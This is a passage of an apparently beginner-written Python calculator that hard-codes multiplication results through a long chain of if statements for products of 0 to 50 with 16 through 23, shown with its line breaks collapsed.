firstNum == 1 and sign == "*" and secondNum == 16 : print("1 * 16 = 16") if firstNum == 2 and sign == "*" and secondNum == 16 : print("2 * 16 = 32") if firstNum == 3 and sign == "*" and secondNum == 16 : print("3 * 16 = 48") if firstNum == 4 and sign == "*" and secondNum == 16 : print("4 * 16 = 64") if firstNum == 5 and sign == "*" and secondNum == 16 : print("5 * 16 = 80") if firstNum == 6 and sign == "*" and secondNum == 16 : print("6 * 16 = 96") if firstNum == 7 and sign == "*" and secondNum == 16 : print("7 * 16 = 112") if firstNum == 8 and sign == "*" and secondNum == 16 : print("8 * 16 = 128") if firstNum == 9 and sign == "*" and secondNum == 16 : print("9 * 16 = 144") if firstNum == 10 and sign == "*" and secondNum == 16 : print("10 * 16 = 160") if firstNum == 11 and sign == "*" and secondNum == 16 : print("11 * 16 = 176") if firstNum == 12 and sign == "*" and secondNum == 16 : print("12 * 16 = 192") if firstNum == 13 and sign == "*" and secondNum == 16 : print("13 * 16 = 208") if firstNum == 14 and sign == "*" and secondNum == 16 : print("14 * 16 = 224") if firstNum == 15 and sign == "*" and secondNum == 16 : print("15 * 16 = 240") if firstNum == 16 and sign == "*" and secondNum == 16 : print("16 * 16 = 256") if firstNum == 17 and sign == "*" and secondNum == 16 : print("17 * 16 = 272") if firstNum == 18 and sign == "*" and secondNum == 16 : print("18 * 16 = 288") if firstNum == 19 and sign == "*" and secondNum == 16 : print("19 * 16 = 304") if firstNum == 20 and sign == "*" and secondNum == 16 : print("20 * 16 = 320") if firstNum == 21 and sign == "*" and secondNum == 16 : print("21 * 16 = 336") if firstNum == 22 and sign == "*" and secondNum == 16 : print("22 * 16 = 352") if firstNum == 23 and sign == "*" and secondNum == 16 : print("23 * 16 = 368") if firstNum == 24 and sign == "*" and secondNum == 16 : print("24 * 16 = 384") if firstNum == 25 and sign == "*" and secondNum == 16 : print("25 * 16 = 400") if firstNum == 26 and sign == "*" and secondNum == 16 : print("26 * 16 = 416") if firstNum == 27 and sign == "*" and secondNum == 16 : print("27 * 16 = 432") if firstNum == 28 and sign == "*" and secondNum == 16 : print("28 * 16 = 448") if firstNum == 29 and sign == "*" and secondNum == 16 : print("29 * 16 = 464") if firstNum == 30 and sign == "*" and secondNum == 16 : print("30 * 16 = 480") if firstNum == 31 and sign == "*" and secondNum == 16 : print("31 * 16 = 496") if firstNum == 32 and sign == "*" and secondNum == 16 : print("32 * 16 = 512") if firstNum == 33 and sign == "*" and secondNum == 16 : print("33 * 16 = 528") if firstNum == 34 and sign == "*" and secondNum == 16 : print("34 * 16 = 544") if firstNum == 35 and sign == "*" and secondNum == 16 : print("35 * 16 = 560") if firstNum == 36 and sign == "*" and secondNum == 16 : print("36 * 16 = 576") if firstNum == 37 and sign == "*" and secondNum == 16 : print("37 * 16 = 592") if firstNum == 38 and sign == "*" and secondNum == 16 : print("38 * 16 = 608") if firstNum == 39 and sign == "*" and secondNum == 16 : print("39 * 16 = 624") if firstNum == 40 and sign == "*" and secondNum == 16 : print("40 * 16 = 640") if firstNum == 41 and sign == "*" and secondNum == 16 : print("41 * 16 = 656") if firstNum == 42 and sign == "*" and secondNum == 16 : print("42 * 16 = 672") if firstNum == 43 and sign == "*" and secondNum == 16 : print("43 * 16 = 688") if firstNum == 44 and sign == "*" and secondNum == 16 : print("44 * 16 = 704") if firstNum == 45 and sign == "*" and secondNum == 16 : print("45 * 16 = 720") if firstNum == 46 and sign == "*" and secondNum == 16 : print("46 * 16 = 736") if firstNum == 47 and sign == "*" and secondNum == 16 : print("47 * 16 = 752") if firstNum == 48 and sign == "*" and secondNum == 16 : print("48 * 16 = 768") if firstNum == 49 and sign == "*" and secondNum == 16 : print("49 * 16 = 784") if firstNum == 50 and sign == "*" and secondNum == 16 : print("50 * 16 = 800") if firstNum == 0 and sign == "*" and secondNum == 17 : print("0 * 17 = 0") if firstNum == 1 and sign == "*" and secondNum == 17 : print("1 * 17 = 17") if firstNum == 2 and sign == "*" and secondNum == 17 : print("2 * 17 = 34") if firstNum == 3 and sign == "*" and secondNum == 17 : print("3 * 17 = 51") if firstNum == 4 and sign == "*" and secondNum == 17 : print("4 * 17 = 68") if firstNum == 5 and sign == "*" and secondNum == 17 : print("5 * 17 = 85") if firstNum == 6 and sign == "*" and secondNum == 17 : print("6 * 17 = 102") if firstNum == 7 and sign == "*" and secondNum == 17 : print("7 * 17 = 119") if firstNum == 8 and sign == "*" and secondNum == 17 : print("8 * 17 = 136") if firstNum == 9 and sign == "*" and secondNum == 17 : print("9 * 17 = 153") if firstNum == 10 and sign == "*" and secondNum == 17 : print("10 * 17 = 170") if firstNum == 11 and sign == "*" and secondNum == 17 : print("11 * 17 = 187") if firstNum == 12 and sign == "*" and secondNum == 17 : print("12 * 17 = 204") if firstNum == 13 and sign == "*" and secondNum == 17 : print("13 * 17 = 221") if firstNum == 14 and sign == "*" and secondNum == 17 : print("14 * 17 = 238") if firstNum == 15 and sign == "*" and secondNum == 17 : print("15 * 17 = 255") if firstNum == 16 and sign == "*" and secondNum == 17 : print("16 * 17 = 272") if firstNum == 17 and sign == "*" and secondNum == 17 : print("17 * 17 = 289") if firstNum == 18 and sign == "*" and secondNum == 17 : print("18 * 17 = 306") if firstNum == 19 and sign == "*" and secondNum == 17 : print("19 * 17 = 323") if firstNum == 20 and sign == "*" and secondNum == 17 : print("20 * 17 = 340") if firstNum == 21 and sign == "*" and secondNum == 17 : print("21 * 17 = 357") if firstNum == 22 and sign == "*" and secondNum == 17 : print("22 * 17 = 374") if firstNum == 23 and sign == "*" and secondNum == 17 : print("23 * 17 = 391") if firstNum == 24 and sign == "*" and secondNum == 17 : print("24 * 17 = 408") if firstNum == 25 and sign == "*" and secondNum == 17 : print("25 * 17 = 425") if firstNum == 26 and sign == "*" and secondNum == 17 : print("26 * 17 = 442") if firstNum == 27 and sign == "*" and secondNum == 17 : print("27 * 17 = 459") if firstNum == 28 and sign == "*" and secondNum == 17 : print("28 * 17 = 476") if firstNum == 29 and sign == "*" and secondNum == 17 : print("29 * 17 = 493") if firstNum == 30 and sign == "*" and secondNum == 17 : print("30 * 17 = 510") if firstNum == 31 and sign == "*" and secondNum == 17 : print("31 * 17 = 527") if firstNum == 32 and sign == "*" and secondNum == 17 : print("32 * 17 = 544") if firstNum == 33 and sign == "*" and secondNum == 17 : print("33 * 17 = 561") if firstNum == 34 and sign == "*" and secondNum == 17 : print("34 * 17 = 578") if firstNum == 35 and sign == "*" and secondNum == 17 : print("35 * 17 = 595") if firstNum == 36 and sign == "*" and secondNum == 17 : print("36 * 17 = 612") if firstNum == 37 and sign == "*" and secondNum == 17 : print("37 * 17 = 629") if firstNum == 38 and sign == "*" and secondNum == 17 : print("38 * 17 = 646") if firstNum == 39 and sign == "*" and secondNum == 17 : print("39 * 17 = 663") if firstNum == 40 and sign == "*" and secondNum == 17 : print("40 * 17 = 680") if firstNum == 41 and sign == "*" and secondNum == 17 : print("41 * 17 = 697") if firstNum == 42 and sign == "*" and secondNum == 17 : print("42 * 17 = 714") if firstNum == 43 and sign == "*" and secondNum == 17 : print("43 * 17 = 731") if firstNum == 44 and sign == "*" and secondNum == 17 : print("44 * 17 = 748") if firstNum == 45 and sign == "*" and secondNum == 17 : print("45 * 17 = 765") if firstNum == 46 and sign == "*" and secondNum == 17 : print("46 * 17 = 782") if firstNum == 47 and sign == "*" and secondNum == 17 : print("47 * 17 = 799") if firstNum == 48 and sign == "*" and secondNum == 17 : print("48 * 17 = 816") if firstNum == 49 and sign == "*" and secondNum == 17 : print("49 * 17 = 833") if firstNum == 50 and sign == "*" and secondNum == 17 : print("50 * 17 = 850") if firstNum == 0 and sign == "*" and secondNum == 18 : print("0 * 18 = 0") if firstNum == 1 and sign == "*" and secondNum == 18 : print("1 * 18 = 18") if firstNum == 2 and sign == "*" and secondNum == 18 : print("2 * 18 = 36") if firstNum == 3 and sign == "*" and secondNum == 18 : print("3 * 18 = 54") if firstNum == 4 and sign == "*" and secondNum == 18 : print("4 * 18 = 72") if firstNum == 5 and sign == "*" and secondNum == 18 : print("5 * 18 = 90") if firstNum == 6 and sign == "*" and secondNum == 18 : print("6 * 18 = 108") if firstNum == 7 and sign == "*" and secondNum == 18 : print("7 * 18 = 126") if firstNum == 8 and sign == "*" and secondNum == 18 : print("8 * 18 = 144") if firstNum == 9 and sign == "*" and secondNum == 18 : print("9 * 18 = 162") if firstNum == 10 and sign == "*" and secondNum == 18 : print("10 * 18 = 180") if firstNum == 11 and sign == "*" and secondNum == 18 : print("11 * 18 = 198") if firstNum == 12 and sign == "*" and secondNum == 18 : print("12 * 18 = 216") if firstNum == 13 and sign == "*" and secondNum == 18 : print("13 * 18 = 234") if firstNum == 14 and sign == "*" and secondNum == 18 : print("14 * 18 = 252") if firstNum == 15 and sign == "*" and secondNum == 18 : print("15 * 18 = 270") if firstNum == 16 and sign == "*" and secondNum == 18 : print("16 * 18 = 288") if firstNum == 17 and sign == "*" and secondNum == 18 : print("17 * 18 = 306") if firstNum == 18 and sign == "*" and secondNum == 18 : print("18 * 18 = 324") if firstNum == 19 and sign == "*" and secondNum == 18 : print("19 * 18 = 342") if firstNum == 20 and sign == "*" and secondNum == 18 : print("20 * 18 = 360") if firstNum == 21 and sign == "*" and secondNum == 18 : print("21 * 18 = 378") if firstNum == 22 and sign == "*" and secondNum == 18 : print("22 * 18 = 396") if firstNum == 23 and sign == "*" and secondNum == 18 : print("23 * 18 = 414") if firstNum == 24 and sign == "*" and secondNum == 18 : print("24 * 18 = 432") if firstNum == 25 and sign == "*" and secondNum == 18 : print("25 * 18 = 450") if firstNum == 26 and sign == "*" and secondNum == 18 : print("26 * 18 = 468") if firstNum == 27 and sign == "*" and secondNum == 18 : print("27 * 18 = 486") if firstNum == 28 and sign == "*" and secondNum == 18 : print("28 * 18 = 504") if firstNum == 29 and sign == "*" and secondNum == 18 : print("29 * 18 = 522") if firstNum == 30 and sign == "*" and secondNum == 18 : print("30 * 18 = 540") if firstNum == 31 and sign == "*" and secondNum == 18 : print("31 * 18 = 558") if firstNum == 32 and sign == "*" and secondNum == 18 : print("32 * 18 = 576") if firstNum == 33 and sign == "*" and secondNum == 18 : print("33 * 18 = 594") if firstNum == 34 and sign == "*" and secondNum == 18 : print("34 * 18 = 612") if firstNum == 35 and sign == "*" and secondNum == 18 : print("35 * 18 = 630") if firstNum == 36 and sign == "*" and secondNum == 18 : print("36 * 18 = 648") if firstNum == 37 and sign == "*" and secondNum == 18 : print("37 * 18 = 666") if firstNum == 38 and sign == "*" and secondNum == 18 : print("38 * 18 = 684") if firstNum == 39 and sign == "*" and secondNum == 18 : print("39 * 18 = 702") if firstNum == 40 and sign == "*" and secondNum == 18 : print("40 * 18 = 720") if firstNum == 41 and sign == "*" and secondNum == 18 : print("41 * 18 = 738") if firstNum == 42 and sign == "*" and secondNum == 18 : print("42 * 18 = 756") if firstNum == 43 and sign == "*" and secondNum == 18 : print("43 * 18 = 774") if firstNum == 44 and sign == "*" and secondNum == 18 : print("44 * 18 = 792") if firstNum == 45 and sign == "*" and secondNum == 18 : print("45 * 18 = 810") if firstNum == 46 and sign == "*" and secondNum == 18 : print("46 * 18 = 828") if firstNum == 47 and sign == "*" and secondNum == 18 : print("47 * 18 = 846") if firstNum == 48 and sign == "*" and secondNum == 18 : print("48 * 18 = 864") if firstNum == 49 and sign == "*" and secondNum == 18 : print("49 * 18 = 882") if firstNum == 50 and sign == "*" and secondNum == 18 : print("50 * 18 = 900") if firstNum == 0 and sign == "*" and secondNum == 19 : print("0 * 19 = 0") if firstNum == 1 and sign == "*" and secondNum == 19 : print("1 * 19 = 19") if firstNum == 2 and sign == "*" and secondNum == 19 : print("2 * 19 = 38") if firstNum == 3 and sign == "*" and secondNum == 19 : print("3 * 19 = 57") if firstNum == 4 and sign == "*" and secondNum == 19 : print("4 * 19 = 76") if firstNum == 5 and sign == "*" and secondNum == 19 : print("5 * 19 = 95") if firstNum == 6 and sign == "*" and secondNum == 19 : print("6 * 19 = 114") if firstNum == 7 and sign == "*" and secondNum == 19 : print("7 * 19 = 133") if firstNum == 8 and sign == "*" and secondNum == 19 : print("8 * 19 = 152") if firstNum == 9 and sign == "*" and secondNum == 19 : print("9 * 19 = 171") if firstNum == 10 and sign == "*" and secondNum == 19 : print("10 * 19 = 190") if firstNum == 11 and sign == "*" and secondNum == 19 : print("11 * 19 = 209") if firstNum == 12 and sign == "*" and secondNum == 19 : print("12 * 19 = 228") if firstNum == 13 and sign == "*" and secondNum == 19 : print("13 * 19 = 247") if firstNum == 14 and sign == "*" and secondNum == 19 : print("14 * 19 = 266") if firstNum == 15 and sign == "*" and secondNum == 19 : print("15 * 19 = 285") if firstNum == 16 and sign == "*" and secondNum == 19 : print("16 * 19 = 304") if firstNum == 17 and sign == "*" and secondNum == 19 : print("17 * 19 = 323") if firstNum == 18 and sign == "*" and secondNum == 19 : print("18 * 19 = 342") if firstNum == 19 and sign == "*" and secondNum == 19 : print("19 * 19 = 361") if firstNum == 20 and sign == "*" and secondNum == 19 : print("20 * 19 = 380") if firstNum == 21 and sign == "*" and secondNum == 19 : print("21 * 19 = 399") if firstNum == 22 and sign == "*" and secondNum == 19 : print("22 * 19 = 418") if firstNum == 23 and sign == "*" and secondNum == 19 : print("23 * 19 = 437") if firstNum == 24 and sign == "*" and secondNum == 19 : print("24 * 19 = 456") if firstNum == 25 and sign == "*" and secondNum == 19 : print("25 * 19 = 475") if firstNum == 26 and sign == "*" and secondNum == 19 : print("26 * 19 = 494") if firstNum == 27 and sign == "*" and secondNum == 19 : print("27 * 19 = 513") if firstNum == 28 and sign == "*" and secondNum == 19 : print("28 * 19 = 532") if firstNum == 29 and sign == "*" and secondNum == 19 : print("29 * 19 = 551") if firstNum == 30 and sign == "*" and secondNum == 19 : print("30 * 19 = 570") if firstNum == 31 and sign == "*" and secondNum == 19 : print("31 * 19 = 589") if firstNum == 32 and sign == "*" and secondNum == 19 : print("32 * 19 = 608") if firstNum == 33 and sign == "*" and secondNum == 19 : print("33 * 19 = 627") if firstNum == 34 and sign == "*" and secondNum == 19 : print("34 * 19 = 646") if firstNum == 35 and sign == "*" and secondNum == 19 : print("35 * 19 = 665") if firstNum == 36 and sign == "*" and secondNum == 19 : print("36 * 19 = 684") if firstNum == 37 and sign == "*" and secondNum == 19 : print("37 * 19 = 703") if firstNum == 38 and sign == "*" and secondNum == 19 : print("38 * 19 = 722") if firstNum == 39 and sign == "*" and secondNum == 19 : print("39 * 19 = 741") if firstNum == 40 and sign == "*" and secondNum == 19 : print("40 * 19 = 760") if firstNum == 41 and sign == "*" and secondNum == 19 : print("41 * 19 = 779") if firstNum == 42 and sign == "*" and secondNum == 19 : print("42 * 19 = 798") if firstNum == 43 and sign == "*" and secondNum == 19 : print("43 * 19 = 817") if firstNum == 44 and sign == "*" and secondNum == 19 : print("44 * 19 = 836") if firstNum == 45 and sign == "*" and secondNum == 19 : print("45 * 19 = 855") if firstNum == 46 and sign == "*" and secondNum == 19 : print("46 * 19 = 874") if firstNum == 47 and sign == "*" and secondNum == 19 : print("47 * 19 = 893") if firstNum == 48 and sign == "*" and secondNum == 19 : print("48 * 19 = 912") if firstNum == 49 and sign == "*" and secondNum == 19 : print("49 * 19 = 931") if firstNum == 50 and sign == "*" and secondNum == 19 : print("50 * 19 = 950") if firstNum == 0 and sign == "*" and secondNum == 20 : print("0 * 20 = 0") if firstNum == 1 and sign == "*" and secondNum == 20 : print("1 * 20 = 20") if firstNum == 2 and sign == "*" and secondNum == 20 : print("2 * 20 = 40") if firstNum == 3 and sign == "*" and secondNum == 20 : print("3 * 20 = 60") if firstNum == 4 and sign == "*" and secondNum == 20 : print("4 * 20 = 80") if firstNum == 5 and sign == "*" and secondNum == 20 : print("5 * 20 = 100") if firstNum == 6 and sign == "*" and secondNum == 20 : print("6 * 20 = 120") if firstNum == 7 and sign == "*" and secondNum == 20 : print("7 * 20 = 140") if firstNum == 8 and sign == "*" and secondNum == 20 : print("8 * 20 = 160") if firstNum == 9 and sign == "*" and secondNum == 20 : print("9 * 20 = 180") if firstNum == 10 and sign == "*" and secondNum == 20 : print("10 * 20 = 200") if firstNum == 11 and sign == "*" and secondNum == 20 : print("11 * 20 = 220") if firstNum == 12 and sign == "*" and secondNum == 20 : print("12 * 20 = 240") if firstNum == 13 and sign == "*" and secondNum == 20 : print("13 * 20 = 260") if firstNum == 14 and sign == "*" and secondNum == 20 : print("14 * 20 = 280") if firstNum == 15 and sign == "*" and secondNum == 20 : print("15 * 20 = 300") if firstNum == 16 and sign == "*" and secondNum == 20 : print("16 * 20 = 320") if firstNum == 17 and sign == "*" and secondNum == 20 : print("17 * 20 = 340") if firstNum == 18 and sign == "*" and secondNum == 20 : print("18 * 20 = 360") if firstNum == 19 and sign == "*" and secondNum == 20 : print("19 * 20 = 380") if firstNum == 20 and sign == "*" and secondNum == 20 : print("20 * 20 = 400") if firstNum == 21 and sign == "*" and secondNum == 20 : print("21 * 20 = 420") if firstNum == 22 and sign == "*" and secondNum == 20 : print("22 * 20 = 440") if firstNum == 23 and sign == "*" and secondNum == 20 : print("23 * 20 = 460") if firstNum == 24 and sign == "*" and secondNum == 20 : print("24 * 20 = 480") if firstNum == 25 and sign == "*" and secondNum == 20 : print("25 * 20 = 500") if firstNum == 26 and sign == "*" and secondNum == 20 : print("26 * 20 = 520") if firstNum == 27 and sign == "*" and secondNum == 20 : print("27 * 20 = 540") if firstNum == 28 and sign == "*" and secondNum == 20 : print("28 * 20 = 560") if firstNum == 29 and sign == "*" and secondNum == 20 : print("29 * 20 = 580") if firstNum == 30 and sign == "*" and secondNum == 20 : print("30 * 20 = 600") if firstNum == 31 and sign == "*" and secondNum == 20 : print("31 * 20 = 620") if firstNum == 32 and sign == "*" and secondNum == 20 : print("32 * 20 = 640") if firstNum == 33 and sign == "*" and secondNum == 20 : print("33 * 20 = 660") if firstNum == 34 and sign == "*" and secondNum == 20 : print("34 * 20 = 680") if firstNum == 35 and sign == "*" and secondNum == 20 : print("35 * 20 = 700") if firstNum == 36 and sign == "*" and secondNum == 20 : print("36 * 20 = 720") if firstNum == 37 and sign == "*" and secondNum == 20 : print("37 * 20 = 740") if firstNum == 38 and sign == "*" and secondNum == 20 : print("38 * 20 = 760") if firstNum == 39 and sign == "*" and secondNum == 20 : print("39 * 20 = 780") if firstNum == 40 and sign == "*" and secondNum == 20 : print("40 * 20 = 800") if firstNum == 41 and sign == "*" and secondNum == 20 : print("41 * 20 = 820") if firstNum == 42 and sign == "*" and secondNum == 20 : print("42 * 20 = 840") if firstNum == 43 and sign == "*" and secondNum == 20 : print("43 * 20 = 860") if firstNum == 44 and sign == "*" and secondNum == 20 : print("44 * 20 = 880") if firstNum == 45 and sign == "*" and secondNum == 20 : print("45 * 20 = 900") if firstNum == 46 and sign == "*" and secondNum == 20 : print("46 * 20 = 920") if firstNum == 47 and sign == "*" and secondNum == 20 : print("47 * 20 = 940") if firstNum == 48 and sign == "*" and secondNum == 20 : print("48 * 20 = 960") if firstNum == 49 and sign == "*" and secondNum == 20 : print("49 * 20 = 980") if firstNum == 50 and sign == "*" and secondNum == 20 : print("50 * 20 = 1000") if firstNum == 0 and sign == "*" and secondNum == 21 : print("0 * 21 = 0") if firstNum == 1 and sign == "*" and secondNum == 21 : print("1 * 21 = 21") if firstNum == 2 and sign == "*" and secondNum == 21 : print("2 * 21 = 42") if firstNum == 3 and sign == "*" and secondNum == 21 : print("3 * 21 = 63") if firstNum == 4 and sign == "*" and secondNum == 21 : print("4 * 21 = 84") if firstNum == 5 and sign == "*" and secondNum == 21 : print("5 * 21 = 105") if firstNum == 6 and sign == "*" and secondNum == 21 : print("6 * 21 = 126") if firstNum == 7 and sign == "*" and secondNum == 21 : print("7 * 21 = 147") if firstNum == 8 and sign == "*" and secondNum == 21 : print("8 * 21 = 168") if firstNum == 9 and sign == "*" and secondNum == 21 : print("9 * 21 = 189") if firstNum == 10 and sign == "*" and secondNum == 21 : print("10 * 21 = 210") if firstNum == 11 and sign == "*" and secondNum == 21 : print("11 * 21 = 231") if firstNum == 12 and sign == "*" and secondNum == 21 : print("12 * 21 = 252") if firstNum == 13 and sign == "*" and secondNum == 21 : print("13 * 21 = 273") if firstNum == 14 and sign == "*" and secondNum == 21 : print("14 * 21 = 294") if firstNum == 15 and sign == "*" and secondNum == 21 : print("15 * 21 = 315") if firstNum == 16 and sign == "*" and secondNum == 21 : print("16 * 21 = 336") if firstNum == 17 and sign == "*" and secondNum == 21 : print("17 * 21 = 357") if firstNum == 18 and sign == "*" and secondNum == 21 : print("18 * 21 = 378") if firstNum == 19 and sign == "*" and secondNum == 21 : print("19 * 21 = 399") if firstNum == 20 and sign == "*" and secondNum == 21 : print("20 * 21 = 420") if firstNum == 21 and sign == "*" and secondNum == 21 : print("21 * 21 = 441") if firstNum == 22 and sign == "*" and secondNum == 21 : print("22 * 21 = 462") if firstNum == 23 and sign == "*" and secondNum == 21 : print("23 * 21 = 483") if firstNum == 24 and sign == "*" and secondNum == 21 : print("24 * 21 = 504") if firstNum == 25 and sign == "*" and secondNum == 21 : print("25 * 21 = 525") if firstNum == 26 and sign == "*" and secondNum == 21 : print("26 * 21 = 546") if firstNum == 27 and sign == "*" and secondNum == 21 : print("27 * 21 = 567") if firstNum == 28 and sign == "*" and secondNum == 21 : print("28 * 21 = 588") if firstNum == 29 and sign == "*" and secondNum == 21 : print("29 * 21 = 609") if firstNum == 30 and sign == "*" and secondNum == 21 : print("30 * 21 = 630") if firstNum == 31 and sign == "*" and secondNum == 21 : print("31 * 21 = 651") if firstNum == 32 and sign == "*" and secondNum == 21 : print("32 * 21 = 672") if firstNum == 33 and sign == "*" and secondNum == 21 : print("33 * 21 = 693") if firstNum == 34 and sign == "*" and secondNum == 21 : print("34 * 21 = 714") if firstNum == 35 and sign == "*" and secondNum == 21 : print("35 * 21 = 735") if firstNum == 36 and sign == "*" and secondNum == 21 : print("36 * 21 = 756") if firstNum == 37 and sign == "*" and secondNum == 21 : print("37 * 21 = 777") if firstNum == 38 and sign == "*" and secondNum == 21 : print("38 * 21 = 798") if firstNum == 39 and sign == "*" and secondNum == 21 : print("39 * 21 = 819") if firstNum == 40 and sign == "*" and secondNum == 21 : print("40 * 21 = 840") if firstNum == 41 and sign == "*" and secondNum == 21 : print("41 * 21 = 861") if firstNum == 42 and sign == "*" and secondNum == 21 : print("42 * 21 = 882") if firstNum == 43 and sign == "*" and secondNum == 21 : print("43 * 21 = 903") if firstNum == 44 and sign == "*" and secondNum == 21 : print("44 * 21 = 924") if firstNum == 45 and sign == "*" and secondNum == 21 : print("45 * 21 = 945") if firstNum == 46 and sign == "*" and secondNum == 21 : print("46 * 21 = 966") if firstNum == 47 and sign == "*" and secondNum == 21 : print("47 * 21 = 987") if firstNum == 48 and sign == "*" and secondNum == 21 : print("48 * 21 = 1008") if firstNum == 49 and sign == "*" and secondNum == 21 : print("49 * 21 = 1029") if firstNum == 50 and sign == "*" and secondNum == 21 : print("50 * 21 = 1050") if firstNum == 0 and sign == "*" and secondNum == 22 : print("0 * 22 = 0") if firstNum == 1 and sign == "*" and secondNum == 22 : print("1 * 22 = 22") if firstNum == 2 and sign == "*" and secondNum == 22 : print("2 * 22 = 44") if firstNum == 3 and sign == "*" and secondNum == 22 : print("3 * 22 = 66") if firstNum == 4 and sign == "*" and secondNum == 22 : print("4 * 22 = 88") if firstNum == 5 and sign == "*" and secondNum == 22 : print("5 * 22 = 110") if firstNum == 6 and sign == "*" and secondNum == 22 : print("6 * 22 = 132") if firstNum == 7 and sign == "*" and secondNum == 22 : print("7 * 22 = 154") if firstNum == 8 and sign == "*" and secondNum == 22 : print("8 * 22 = 176") if firstNum == 9 and sign == "*" and secondNum == 22 : print("9 * 22 = 198") if firstNum == 10 and sign == "*" and secondNum == 22 : print("10 * 22 = 220") if firstNum == 11 and sign == "*" and secondNum == 22 : print("11 * 22 = 242") if firstNum == 12 and sign == "*" and secondNum == 22 : print("12 * 22 = 264") if firstNum == 13 and sign == "*" and secondNum == 22 : print("13 * 22 = 286") if firstNum == 14 and sign == "*" and secondNum == 22 : print("14 * 22 = 308") if firstNum == 15 and sign == "*" and secondNum == 22 : print("15 * 22 = 330") if firstNum == 16 and sign == "*" and secondNum == 22 : print("16 * 22 = 352") if firstNum == 17 and sign == "*" and secondNum == 22 : print("17 * 22 = 374") if firstNum == 18 and sign == "*" and secondNum == 22 : print("18 * 22 = 396") if firstNum == 19 and sign == "*" and secondNum == 22 : print("19 * 22 = 418") if firstNum == 20 and sign == "*" and secondNum == 22 : print("20 * 22 = 440") if firstNum == 21 and sign == "*" and secondNum == 22 : print("21 * 22 = 462") if firstNum == 22 and sign == "*" and secondNum == 22 : print("22 * 22 = 484") if firstNum == 23 and sign == "*" and secondNum == 22 : print("23 * 22 = 506") if firstNum == 24 and sign == "*" and secondNum == 22 : print("24 * 22 = 528") if firstNum == 25 and sign == "*" and secondNum == 22 : print("25 * 22 = 550") if firstNum == 26 and sign == "*" and secondNum == 22 : print("26 * 22 = 572") if firstNum == 27 and sign == "*" and secondNum == 22 : print("27 * 22 = 594") if firstNum == 28 and sign == "*" and secondNum == 22 : print("28 * 22 = 616") if firstNum == 29 and sign == "*" and secondNum == 22 : print("29 * 22 = 638") if firstNum == 30 and sign == "*" and secondNum == 22 : print("30 * 22 = 660") if firstNum == 31 and sign == "*" and secondNum == 22 : print("31 * 22 = 682") if firstNum == 32 and sign == "*" and secondNum == 22 : print("32 * 22 = 704") if firstNum == 33 and sign == "*" and secondNum == 22 : print("33 * 22 = 726") if firstNum == 34 and sign == "*" and secondNum == 22 : print("34 * 22 = 748") if firstNum == 35 and sign == "*" and secondNum == 22 : print("35 * 22 = 770") if firstNum == 36 and sign == "*" and secondNum == 22 : print("36 * 22 = 792") if firstNum == 37 and sign == "*" and secondNum == 22 : print("37 * 22 = 814") if firstNum == 38 and sign == "*" and secondNum == 22 : print("38 * 22 = 836") if firstNum == 39 and sign == "*" and secondNum == 22 : print("39 * 22 = 858") if firstNum == 40 and sign == "*" and secondNum == 22 : print("40 * 22 = 880") if firstNum == 41 and sign == "*" and secondNum == 22 : print("41 * 22 = 902") if firstNum == 42 and sign == "*" and secondNum == 22 : print("42 * 22 = 924") if firstNum == 43 and sign == "*" and secondNum == 22 : print("43 * 22 = 946") if firstNum == 44 and sign == "*" and secondNum == 22 : print("44 * 22 = 968") if firstNum == 45 and sign == "*" and secondNum == 22 : print("45 * 22 = 990") if firstNum == 46 and sign == "*" and secondNum == 22 : print("46 * 22 = 1012") if firstNum == 47 and sign == "*" and secondNum == 22 : print("47 * 22 = 1034") if firstNum == 48 and sign == "*" and secondNum == 22 : print("48 * 22 = 1056") if firstNum == 49 and sign == "*" and secondNum == 22 : print("49 * 22 = 1078") if firstNum == 50 and sign == "*" and secondNum == 22 : print("50 * 22 = 1100") if firstNum == 0 and sign == "*" and secondNum == 23 : print("0 * 23 = 0") if firstNum == 1 and sign == "*" and secondNum == 23 : print("1 * 23 = 23") if firstNum == 2 and sign == "*" and secondNum == 23 : print("2 * 23 = 46") if firstNum == 3 and sign == "*" and secondNum == 23 : print("3 * 23 = 69") if firstNum == 4 and sign == "*" and secondNum == 23 : print("4 * 23 = 92") if firstNum == 5 and sign == "*" and secondNum == 23 : print("5 * 23 = 115") if firstNum == 6 and sign == "*" and secondNum == 23 : print("6 * 23 = 138") if firstNum == 7 and sign == "*" and secondNum == 23 : print("7 * 23 = 161") if firstNum == 8 and sign == "*" and secondNum == 23 : print("8 * 23 = 184") if firstNum == 9 and sign == "*" and secondNum == 23 : print("9 * 23 = 207") if firstNum == 10 and sign == "*" and secondNum == 23 : print("10 * 23 = 230") if firstNum == 11 and sign == "*" and secondNum == 23 : print("11 * 23 = 253") if firstNum == 12 and sign == "*" and secondNum == 23 : print("12 * 23 = 276") if firstNum == 13 and sign == "*" and secondNum == 23 : print("13 * 23 = 299") if firstNum == 14 and sign == "*" and secondNum == 23 : print("14 * 23 = 322") if firstNum == 15 and sign == "*" and secondNum == 23 : print("15 * 23 = 345") if firstNum == 16 and sign == "*" and secondNum == 23 : print("16 * 23 = 368") if firstNum == 17 and sign == "*" and secondNum == 23 : print("17 * 23 = 391") if firstNum == 18 and sign == "*" and secondNum == 23 : print("18 * 23 = 414") if firstNum == 19 and sign == "*" and secondNum == 23 : print("19 * 23 = 437") if firstNum == 20 and sign == "*" and secondNum == 23 : print("20 * 23 = 460") if firstNum == 21 and sign == "*" and secondNum == 23 : print("21 * 23 = 483") if firstNum == 22 and sign == "*" and secondNum == 23 : print("22 * 23 = 506") if firstNum == 23 and sign == "*" and secondNum == 23 : print("23 * 23 = 529") if firstNum == 24 and sign == "*" and secondNum == 23 : print("24 * 23 = 552") if firstNum == 25 and sign == "*" and secondNum == 23 : print("25 * 23 = 575") if firstNum == 26 and sign == "*" and secondNum == 23 : print("26 * 23 = 598") if firstNum == 27 and sign == "*" and secondNum == 23 : print("27 * 23 = 621") if firstNum == 28 and sign == "*" and secondNum == 23 : print("28 * 23 = 644") if firstNum == 29 and sign == "*" and secondNum == 23 : print("29 * 23 = 667") if firstNum == 30 and sign == "*" and secondNum == 23 : print("30 * 23 = 690") if firstNum == 31 and sign == "*" and secondNum == 23 : print("31 * 23 = 713") if firstNum == 32 and sign == "*" and secondNum == 23 : print("32 * 23 = 736") if firstNum == 33 and sign == "*" and secondNum == 23 : print("33 * 23 = 759") if firstNum == 34 and sign == "*" and secondNum == 23 : print("34 * 23 = 782") if firstNum == 35 and sign == "*" and secondNum == 23 : print("35 * 23 = 805") if firstNum == 36 and sign == "*" and secondNum == 23 : print("36 * 23 = 828") if firstNum == 37 and sign == "*" and secondNum == 23 : print("37 * 23 = 851") if firstNum == 38 and sign == "*" and 